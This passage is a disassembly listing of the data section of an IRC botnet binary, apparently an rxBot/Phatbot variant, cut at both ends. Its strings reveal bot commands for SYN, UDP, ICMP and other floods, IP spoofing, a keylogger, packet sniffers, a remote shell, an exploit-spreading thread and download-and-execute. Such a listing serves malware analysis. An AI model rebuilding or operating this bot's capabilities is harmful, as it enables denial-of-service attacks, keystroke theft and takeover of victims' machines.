%s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 aEmail db 'email',0 ; DATA XREF: sub_40274D+4E23o align 4 aTcp db 'tcp',0 ; DATA XREF: sub_40274D+4E0Co aTcpflood db 'tcpflood',0 ; DATA XREF: sub_40274D+4DF5o align 4 aP: ; DATA XREF: sub_40274D+4DDEo ; seg002:00442EF8o ... unicode 0, <p>,0 aPing_0 db 'ping',0 ; DATA XREF: sub_40274D+4DC7o align 4 aPingflood db 'pingflood',0 ; DATA XREF: sub_40274D+4DB0o align 4 aNs db 'ns',0 ; DATA XREF: sub_40274D+4D99o align 4 aNetsend db 'netsend',0 ; DATA XREF: sub_40274D+4D82o aU: ; DATA XREF: sub_40274D+4D6Bo ; seg002:00442EF0o ... unicode 0, <u>,0 aUdp db 'udp',0 ; DATA XREF: sub_40274D+4D54o aUdpflood db 'udpflood',0 ; DATA XREF: sub_40274D+4D3Do align 4 aAsc db 'asc',0 ; DATA XREF: sub_40274D+4D26o aAdvscan db 'advscan',0 ; DATA XREF: sub_40274D+4D0Fo aPsc db 'psc',0 ; DATA XREF: sub_40274D+4CF8o aPortscan db 'portscan',0 ; DATA XREF: sub_40274D+4CE1o align 10h aC_a db 'c_a',0 ; DATA XREF: sub_40274D+4CBBo aC_action db 'c_action',0 ; DATA XREF: sub_40274D+4CA4o align 10h aC_pm db 'c_pm',0 ; DATA XREF: sub_40274D+4C8Do align 4 aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_40274D+4C76o align 4 aSc db 'sc',0 ; DATA XREF: sub_40274D+4C5Fo align 4 aScan_0 db 'scan',0 ; DATA XREF: sub_40274D+4C48o align 10h aRd db 'rd',0 ; DATA XREF: sub_40274D+4C31o align 4 aRedirect db 'redirect',0 ; DATA XREF: sub_40274D+4C1Ao align 10h aDl db 'dl',0 ; DATA XREF: sub_40274D+4C03o align 4 aDownload db 'download',0 ; DATA XREF: sub_40274D+4BECo align 10h aWonk db 'wonk',0 ; DATA XREF: sub_40274D+4BD5o align 4 aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_40274D+4BBEo align 4 dword_42DDE4 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_40274D+4B9Co aFailedToSta_13 db '- Failed to start flood thread, error: <%d>.',0 align 10h dword_42DE20 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_40274D+4B3Ao aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0 aSkysyn db 'skysyn',0 ; DATA XREF: sub_40274D+4AC3o align 4 aSyn db 'syn',0 ; DATA XREF: sub_40274D+4AACo ; sub_40274D+500Co ... aSynflood db 'synflood',0 ; DATA XREF: sub_40274D+4A95o align 4 unk_42DE68 db 2Dh ; - ; DATA XREF: sub_40274D+4A73o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFailedToSta_14 db '- Failed to start flood thread, error: <%d>.',0 align 4 aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_40274D+49B5o align 4 aDdos_random db 'ddos.random',0 ; DATA XREF: sub_40274D+499Eo ; sub_415825:loc_41594Do aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_40274D+4987o ; sub_415825:loc_415931o align 4 aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_40274D+4970o ; sub_415825+EDo align 4 aC: ; DATA XREF: sub_40274D+4959o ; sub_40FDC3+78o ... unicode 0, <c>,0 aClone_0 db 'clone',0 ; DATA XREF: sub_40274D+4942o align 4 aIcmp db 'icmp',0 ; DATA XREF: sub_40274D+491Co align 4 aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_40274D+4905o align 4 aMv db 'mv',0 ; DATA XREF: sub_40274D+48EEo align 4 aRename db 'rename',0 ; DATA XREF: sub_40274D+48D7o align 4 aFf db 'ff',0 ; DATA XREF: sub_40274D+48C0o align 4 aFindfile db 'findfile',0 ; DATA XREF: sub_40274D+48A9o align 4 aE: ; DATA XREF: sub_40274D+4892o ; seg002:00442EE0o ... unicode 0, <e>,0 aExecute db 'execute',0 ; DATA XREF: sub_40274D+487Bo aUpdate db 'update',0 ; DATA XREF: sub_40274D+484Do align 4 aDe db 'de',0 ; DATA XREF: sub_40274D+4836o align 4 aDelay db 'delay',0 ; DATA XREF: sub_40274D+481Fo align 4 aRp db 'rp',0 ; DATA XREF: sub_40274D+4808o align 4 aRepeat db 'repeat',0 ; DATA XREF: sub_40274D+47F1o ; sub_40274D+68A6o align 10h aTsn db 'tsn',0 ; DATA XREF: sub_40274D+47DAo aTsunami db 'tsunami',0 ; DATA XREF: sub_40274D+47C3o aT3 db 't3',0 ; DATA XREF: sub_40274D+47ACo align 10h aTarga3 db 'targa3',0 ; DATA XREF: sub_40274D+4795o align 4 aC_p db 'c_p',0 ; DATA XREF: sub_40274D+477Eo aC_part db 'c_part',0 ; DATA XREF: sub_40274D+4767o align 4 aC_j db 'c_j',0 ; DATA XREF: sub_40274D+4750o aC_join db 'c_join',0 ; DATA XREF: sub_40274D+4739o align 10h aC_n db 'c_n',0 ; DATA XREF: sub_40274D+4722o aC_nick db 'c_nick',0 ; DATA XREF: sub_40274D+470Bo align 4 aC_m db 'c_m',0 ; DATA XREF: sub_40274D+46F4o aC_mode db 'c_mode',0 ; DATA XREF: sub_40274D+46DDo align 4 aC_r db 'c_r',0 ; DATA XREF: sub_40274D+46C6o aC_raw db 'c_raw',0 ; DATA XREF: sub_40274D+46AFo align 4 aM_0: ; DATA XREF: sub_40274D+4698o ; seg002:00442F38o ... unicode 0, <m>,0 aCy db 'cy',0 ; DATA XREF: sub_40274D+466Ao align 4 aCycle db 'cycle',0 ; DATA XREF: sub_40274D+4653o align 4 aA: ; DATA XREF: sub_40274D+463Co ; seg002:00442EFCo unicode 0, <a>,0 aAction db 'action',0 ; DATA XREF: sub_40274D+4625o align 10h aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_40274D+45F7o aAa db 'aa',0 ; DATA XREF: sub_40274D+45E0o align 4 aAddalias db 'addalias',0 ; DATA XREF: sub_40274D+45C9o align 4 aKl db 'kl',0 ; DATA XREF: sub_40274D+45B2o align 4 aKilllog db 'killlog',0 ; DATA XREF: sub_40274D+459Bo aGh db 'gh',0 ; DATA XREF: sub_40274D+4575o align 4 aGethost db 'gethost',0 ; DATA XREF: sub_40274D+4560o aCap db 'cap',0 ; DATA XREF: sub_40274D+454Bo aCapture db 'capture',0 ; DATA XREF: sub_40274D+4536o unk_42DFEC db 2Dh ; - ; DATA XREF: sub_40274D:loc_406C3Ao db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aCommandUnknown db '- Command unknown.',0 unk_42E008 db 2Dh ; - ; DATA XREF: sub_40274D:loc_406C33o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aNoMessageSpeci db '- No message specified.',0 align 4 unk_42E02C db 2Dh ; - ; DATA XREF: sub_40274D:loc_406BEDo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListFailed db '- User list failed.',0 align 4 unk_42E04C db 2Dh ; - ; DATA XREF: sub_40274D+4499o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListComple db '- User list completed.',0 unk_42E06C db 2Dh ; - ; DATA XREF: sub_40274D:loc_406B62o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListFaile db '- Share list failed.',0 align 4 unk_42E08C db 2Dh ; - ; DATA XREF: sub_40274D+440Bo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListCompl db '- Share list completed.',0 align 10h aShare db 'share',0 ; DATA XREF: sub_40274D+43A8o align 4 aContinue db 'continue',0 ; DATA XREF: sub_40274D+436Eo align 4 aPause db 'pause',0 ; DATA XREF: sub_40274D+4351o align 4 aStop db 'stop',0 ; DATA XREF: sub_40274D+4337o align 4 unk_42E0D4 db 2Dh ; - ; DATA XREF: sub_40274D:loc_406A77o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListFai db '- Service list failed.',0 unk_42E0F4 db 2Dh ; - ; DATA XREF: sub_40274D+4320o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListCom db '- Service list completed.',0 align 4 aStart db 'start',0 ; DATA XREF: sub_40274D+42CDo align 10h unk_42E120 db 2Dh ; - ; DATA XREF: sub_40274D+429Eo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0 aNet db 'net',0 ; DATA XREF: sub_40274D+427Ao dword_42E15C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_40274D+422Co aFailedToStartL db '- Failed to start logging thread, error: <%d>.',0 align 4 dword_42E198 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_40274D+41D3o aKeyLoggerActiv db '- Key logger active.',0 align 4 dword_42E1BC dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_40274D+415Ao aAlreadyRunning db '- Already running.',0 align 4 dword_42E1DC dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_40274D:loc_406891o aNoKeyLoggerThr db '- No key logger thread found.',0 align 4 dword_42E208 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_40274D+413Ao aKeyLoggerStopp db '- Key logger stopped. (%d thread(s) stopped.)',0 align 4 aFile db 'file',0 ; DATA XREF: sub_40274D+40FEo align 4 aKeylog db 'keylog',0 ; DATA XREF: sub_40274D+40D9o align 4 dword_42E254 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_40274D:loc_40681Bo aNoThreadFound_ db '- No thread found.',0 align 4 dword_42E274 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_40274D+40C4o aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0 align 4 dword_42E2AC dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_40274D+4094o aFailedToSta_15 db '- Failed to start server, error: <%d>.',0 align 10h dword_42E2E0 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_40274D:loc_406794o aServerRunningO db '- Server running on Port: 113.',0 align 4 dword_42E30C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_40274D+403Do aAlreadyRunni_0 db '- Already running.',0 align 4 aIdent db 'ident',0 ; DATA XREF: sub_40274D+4004o align 4 unk_42E334 db 2Dh ; - ; DATA XREF: sub_40274D:loc_406746o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aNoPhatbotSniff db '- No Phatbot sniffer thread found.',0 align 8 unk_42E368 db 2Dh ; - ; DATA XREF: sub_40274D+3FEFo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotSniffer db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0 unk_42E3A8 db 2Dh ; - ; DATA XREF: sub_40274D+3FAAo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFailedToSta_16 db '- Failed to start sniffer thread, error: <%d>.',0 unk_42E3E4 db 2Dh ; - ; DATA XREF: sub_40274D+3F51o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotPacketS db '- Phatbot packet sniffer active.',0 align 4 unk_42E414 db 2Dh ; - ; DATA XREF: sub_40274D+3EF3o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aAlreadyRunni_1 db '- Already running.',0 aSniffer db 'sniffer',0 ; DATA XREF: sub_40274D+3EBCo dword_42E43C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_40274D:loc_4065FEo aNoCarnivoreThr db '- No Carnivore thread found.',0 align 4 dword_42E468 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_40274D+3EA7o aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0 align 4 dword_42E4A4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_40274D+3E62o aFailedToSta_17 db '- Failed to start sniffer thread, error: <%d>.',0 align 10h dword_42E4E0 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_40274D+3E09o aCarnivorePacke db '- Carnivore packet sniffer active.',0 align 10h dword_42E510 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_40274D+3DABo aAlreadyRunni_2 db '- Already running.',0 align 10h aOn db 'on',0 ; DATA XREF: sub_40274D+3D8Bo ; sub_40274D+3ED3o ... align 4 aPsniff db 'psniff',0 ; DATA XREF: sub_40274D+3D74o align 4 aRf db 'rf',0 ; DATA XREF: sub_40274D+3D5Fo align 10h aReadfile db 'readfile',0 ; DATA XREF: sub_40274D+3D4Ao align 4 aCm db 'cm',0 ; DATA XREF: sub_40274D+3D35o align 10h aCmd db 'cmd',0 ; DATA XREF: sub_40274D+3D20o aMirc db 'mirc',0 ; DATA XREF: sub_40274D+3D0Bo align 4 aMirccmd db 'mirccmd',0 ; DATA XREF: sub_40274D+3CF6o aV: ; DATA XREF: sub_40274D+3CE1o ; seg002:00442F2Co ... unicode 0, <v>,0 aVisit db 'visit',0 ; DATA XREF: sub_40274D+3CCCo align 10h aLi db 'li',0 ; DATA XREF: sub_40274D+3CB7o align 4 aList db 'list',0 ; DATA XREF: sub_40274D+3CA2o align 4 aGt db 'gt',0 ; DATA XREF: sub_40274D+3C8Do align 10h aDel db 'del',0 ; DATA XREF: sub_40274D+3C63o aDelete db 'delete',0 ; DATA XREF: sub_40274D+3C4Eo ; sub_40274D+438Bo align 4 aKi db 'ki',0 ; DATA XREF: sub_40274D+3C39o align 10h aKill db 'kill',0 ; DATA XREF: sub_40274D+3C24o align 4 aKp db 'kp',0 ; DATA XREF: sub_40274D+3C0Fo align 4 aKillproc db 'killproc',0 ; DATA XREF: sub_40274D+3BFAo align 4 aDn db 'dn',0 ; DATA XREF: sub_40274D+3BE5o align 4 aDns db 'dns',0 ; DATA XREF: sub_40274D+3BD0o aSe db 'se',0 ; DATA XREF: sub_40274D+3BBBo align 4 aO: ; DATA XREF: sub_40274D+3B91o ; seg002:0044325Co unicode 0, <o>,0 aOpen db 'open',0 ; DATA XREF: sub_40274D+3B7Co ; sub_40274D+562Ao ... align 10h aPr db 'pr',0 ; DATA XREF: sub_40274D+3B67o align 4 aPrefix db 'prefix',0 ; DATA XREF: sub_40274D+3B52o align 4 aC_rn db 'c_rn',0 ; DATA XREF: sub_40274D+3B3Do align 4 aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_40274D+3B28o align 10h aC_q db 'c_q',0 ; DATA XREF: sub_40274D+3B13o aC_quit db 'c_quit',0 ; DATA XREF: sub_40274D+3AFEo align 4 aK: ; DATA XREF: sub_40274D+3AE9o ; seg002:00442F18o ... unicode 0, <k>,0 aKillthread db 'killthread',0 ; DATA XREF: sub_40274D+3AD4o align 4 aRaw db 'raw',0 ; DATA XREF: sub_40274D+3AAAo aPt db 'pt',0 ; DATA XREF: sub_40274D+3A95o align 4 aJ: ; DATA XREF: sub_40274D+3A6Bo ; seg002:00442F14o ... unicode 0, <j>,0 aN: ; DATA XREF: sub_40274D+3A41o ; seg002:00442F34o ... unicode 0, <n>,0 unk_42E60C db 2Dh ; - ; DATA XREF: sub_40274D+3A10o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aDisconnectingC db '- disconnecting clones...',0 align 4 aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_40274D+39ACo aRegister db 'register',0 ; DATA XREF: sub_40274D+3989o align 4 aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_40274D+3933o align 4 aMix db 'mix',0 ; DATA XREF: sub_40274D+3878o dword_42E66C dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h ; DATA XREF: sub_40274D+3827o ; sub_40274D+385Bo dd 0 dword_42E684 dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h ; DATA XREF: sub_40274D+37F3o dd 1 dword_42E69C dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h ; DATA XREF: sub_40274D+37BFo ; sub_40274D+38C1o aCtcp db 'ctcp',0 ; DATA XREF: sub_40274D+3776o align 4 aNoticeSS_1 db 'NOTICE %s :%s',0 ; DATA XREF: sub_40274D+36E7o ; sub_40274D+3720o ... align 4 aNotice_0 db 'notice',0 ; DATA XREF: sub_40274D+3699o align 10h aMsg db 'msg',0 ; DATA XREF: sub_40274D+35BCo aChgnick db 'chgnick',0 ; DATA XREF: sub_40274D+3576o aNick_0 db 'nick',0 ; DATA XREF: sub_40274D+347Co ; sub_40274D+3A2Co align 4 dword_42E6E4 dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h ; DATA XREF: sub_40274D+345Fo dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1 dword_42E70C dd 636364h ; DATA XREF: sub_40274D+33ECo aJoinPart db 'join/part',0 ; DATA XREF: sub_40274D+32BAo align 4 aNickS_0 db 'NICK %s',0 ; DATA XREF: sub_40274D+329Do ; sub_40274D+34D3o ... aSI db '%s%i',0 ; DATA XREF: sub_40274D+3285o ; sub_40A800+4Eo ... align 4 aPnick db 'pnick',0 ; DATA XREF: sub_40274D+324Bo align 4 aPartSS db 'part %s %s',0 ; DATA XREF: sub_40274D+322Eo ; sub_40274D+3308o ... align 10h aPartflood db 'partflood',0 ; DATA XREF: sub_40274D+320Ao align 4 aPartS db 'part %s',0 ; DATA XREF: sub_40274D+31EDo aPart_0 db 'part',0 ; DATA XREF: sub_40274D+31CEo ; sub_40274D+3A80o align 4 aJoinS db 'join %s',0 ; DATA XREF: sub_40274D+31B1o ; sub_40274D+32E2o ... aJoin db 'join',0 ; DATA XREF: sub_40274D+3192o ; sub_40274D+3A56o align 4 aModeSS db 'mode %s %s',0 ; DATA XREF: sub_40274D+3175o align 4 aMode db 'mode',0 ; DATA XREF: sub_40274D+312Fo ; sub_40274D+4681o align 10h aNoticeSS_0 db 'notice %s :%s',0 ; DATA XREF: sub_40274D+3112o align 10h aNt db 'nt',0 ; DATA XREF: sub_40274D+30CCo align 4 dword_42E794 dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0 ; DATA XREF: sub_40274D+30AFo dword_42E7A8 dd 7463h ; DATA XREF: sub_40274D+3069o aPrivmsgSS db 'privmsg %s :%s',0 ; DATA XREF: sub_40274D+304Co ; sub_40274D+360Ao ... align 4 a_: ; DATA XREF: sub_40274D+3023o ; sub_40274D+3086o ... unicode 0, <_>,0 aPm db 'pm',0 ; DATA XREF: sub_40274D+3006o ; sub_40274D+460Eo align 4 unk_42E7C4 db 2Dh ; - ; DATA XREF: sub_40274D+2FD7o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aSClonesLoadedT db '- %s clones loaded to %s:%s',0 align 10h aLoad db 'load',0 ; DATA XREF: sub_40274D+2F8Fo align 4 aFlood db 'flood',0 ; DATA XREF: sub_40274D+2F66o align 10h aRinms db 'rinms',0 ; DATA XREF: sub_40274D+2F4Fo align 4 aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_40274D+2F3Ao aRin db 'rin',0 ; DATA XREF: sub_40274D+2F25o aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_40274D+2F10o align 4 unk_42E82C db 2Dh ; - ; DATA XREF: sub_40274D+2EF0o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0 align 4 unk_42E86C db 2Dh ; - ; DATA XREF: sub_40274D+2E94o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aAttemptingToCo db '- attempting to compromise %s...',0 align 4 aExploit db 'exploit',0 ; DATA XREF: sub_40274D+2E17o unk_42E8A4 db 2Dh ; - ; DATA XREF: sub_40274D+2DF9o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0 align 10h unk_42E8D0 db 2Dh ; - ; DATA XREF: sub_40274D+2DCFo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0 aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_40274D+2D97o align 10h unk_42E910 db 2Dh ; - ; DATA XREF: sub_40274D+2D3Eo ; sub_40274D+2DAFo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0 align 4 aGet_0 db 'get',0 ; DATA XREF: sub_40274D:loc_405469o ; sub_40274D+3C78o unk_42E94C db 2Dh ; - ; DATA XREF: sub_40274D+2CB0o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aInvalidLoginSl db 'Invalid login slot number: %d.',0 align 4 unk_42E978 db 2Dh ; - ; DATA XREF: sub_40274D+2CA5o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNoUserLoggedIn db 'No user logged in at slot: %d.',0 align 4 dword_42E9A4 dd 234032Dh, 6E69616Dh, 202D0302h, 7325h, 0 ; DATA XREF: sub_40274D+2C57o unk_42E9B8 db 2Dh ; - ; DATA XREF: sub_40274D:loc_405395o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aThisModOfRxbot db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir' db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress ' db 'from Hell?) who I love so much.',0 align 4 dword_42EA68 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_40274D+2C16o aFailedToSta_18 db '- Failed to start secure thread, error: <%d>.',0 align 4 dword_42EAA4 dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h ; DATA XREF: sub_40274D+2BB2o dd 2E6D6574h, 0 aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_40274D+2BACo align 4 aSecuring db 'Securing',0 ; DATA XREF: sub_40274D+2BA5o align 4 unk_42EAD8 db 2Dh ; - ; DATA XREF: sub_40274D+2B1Co db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFailedToSta_19 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42EB18 db 2Dh ; - ; DATA XREF: sub_40274D+2AB1o db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aServerStartedO db ' Server started on: %s:%d.',0 align 4 dword_42EB44 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_40274D+2A20o aFailedToSta_20 db '- Failed to start server thread, error: <%d>.',0 align 10h dword_42EB80 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_40274D+29C7o aServerStarte_0 db '- Server started on: %s:%d.',0 dword_42EBA8 dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_40274D+2909o aFindFile db 'Find file',0 ; DATA XREF: sub_40274D+2904o align 4 dword_42EBC4 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_40274D+28F7o aProcessList db 'Process list',0 ; DATA XREF: sub_40274D+28F2o align 4 dword_42EBE4 dd 234032Dh, 6E69616Dh, 202D0302h, 6F636552h, 63656E6Eh ; DATA XREF: sub_40274D+288Co dd 676E6974h, 2Eh aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40274D:loc_404FCCo ; sub_40274D:loc_409FE3o ... align 4 dword_42EC18 dd 234032Dh, 6E69616Dh, 202D0302h, 63736944h, 656E6E6Fh ; DATA XREF: sub_40274D+286Ao dd 6E697463h, 2E67h aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40274D:loc_404FAAo align 4 aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40274D:loc_404F93o ; sub_40274D+76C8o align 4 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40274D+2834o align 4 unk_42EC68 db 2Dh ; - ; DATA XREF: sub_40274D+27EEo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aStatusReady_Bo db 'Status: Ready. Bot Uptime: %s.',0 align 4 dword_42EC94 dd 234032Dh, 6E69616Dh, 202D0302h, 20746F42h, 203A4449h ; DATA XREF: sub_40274D+27B3o dd 2E7325h unk_42ECAC db 2Dh ; - ; DATA XREF: sub_40274D+2789o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToSta_21 db '- Failed to start list thread, error: <%d>.',0 align 4 dword_42ECE8 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h ; DATA XREF: sub_40274D+2730o dd 65726874h, 2E736461h, 0 dword_42ED08 dd 627573h ; DATA XREF: sub_40274D+270Ao dword_42ED0C dd 234032Dh, 6E69616Dh, 202D0302h, 61696C41h, 696C2073h ; DATA XREF: sub_40274D+26C1o dd 2E7473h unk_42ED24 db 2Dh ; - ; DATA XREF: sub_40274D+2694o db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedToSta_22 db '- Failed to start listing thread, error: <%d>.',0 dword_42ED5C dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh ; DATA XREF: sub_40274D+263Bo dd 2E676Fh dword_42ED74 dd 234032Dh, 6E69616Dh, 202D0302h, 7774654Eh, 206B726Fh ; DATA XREF: sub_40274D+25A7o dd 6F666E49h, 2Eh dword_42ED90 dd 234032Dh, 6E69616Dh, 202D0302h, 74737953h, 49206D65h ; DATA XREF: sub_40274D+2578o dd 2E6F666Eh, 0 dword_42EDAC dd 234032Dh, 6E69616Dh, 202D0302h, 6F6D6552h, 676E6976h ; DATA XREF: sub_40274D+252Bo dd 746F4220h, 2Eh unk_42EDC8 db 2Dh ; - ; DATA XREF: sub_40274D+24FAo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToSta_23 db ' Failed to start listing thread, error: <%d>.',0 align 4 dword_42EE04 dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h ; DATA XREF: sub_40274D+249Bo dd 696C2073h, 2E7473h aFull db 'full',0 ; DATA XREF: sub_40274D+247Bo align 4 unk_42EE28 db 2Dh ; - ; DATA XREF: sub_40274D+2425o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aAlreadyRunni_3 db ' Already running.',0 align 4 dword_42EE48 dd 234032Dh, 656B6463h, 3027379h ; DATA XREF: sub_40274D+23FCo aSearchComplete db '- Search completed.',0 dword_42EE68 dd 234032Dh, 6E69616Dh, 202D0302h, 69747055h, 203A656Dh ; DATA XREF: sub_40274D+23B6o dd 2E7325h unk_42EE80 db 2Dh ; - ; DATA XREF: sub_40274D:loc_404A48o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellRea db '- Remote shell ready.',0 align 10h unk_42EEA0 db 2Dh ; - ; DATA XREF: sub_40274D+22F4o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0 align 4 unk_42EEC8 db 2Dh ; - ; DATA XREF: sub_40274D+22DBo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellAlr db '- Remote shell already running.',0 align 4 dword_42EEF4 dd 234032Dh, 6E69616Dh, 202D0302h, 20746547h, 70696C43h ; DATA XREF: sub_40274D+22C0o dd 72616F62h, 2E64h dword_42EF10 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h ; DATA XREF: sub_40274D+2298o dd 2Dh unk_42EF28 db 2Dh ; - ; DATA XREF: sub_40274D:loc_4049D5o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushA db 'Failed to flush ARP cache.',0 align 4 unk_42EF54 db 2Dh ; - ; DATA XREF: sub_40274D+2281o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheFlushe db 'ARP cache flushed.',0 align 4 unk_42EF78 db 2Dh ; - ; DATA XREF: sub_40274D:loc_4049A4o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToLoadDn db 'Failed to load dnsapi.dll.',0 align 4 unk_42EFA4 db 2Dh ; - ; DATA XREF: 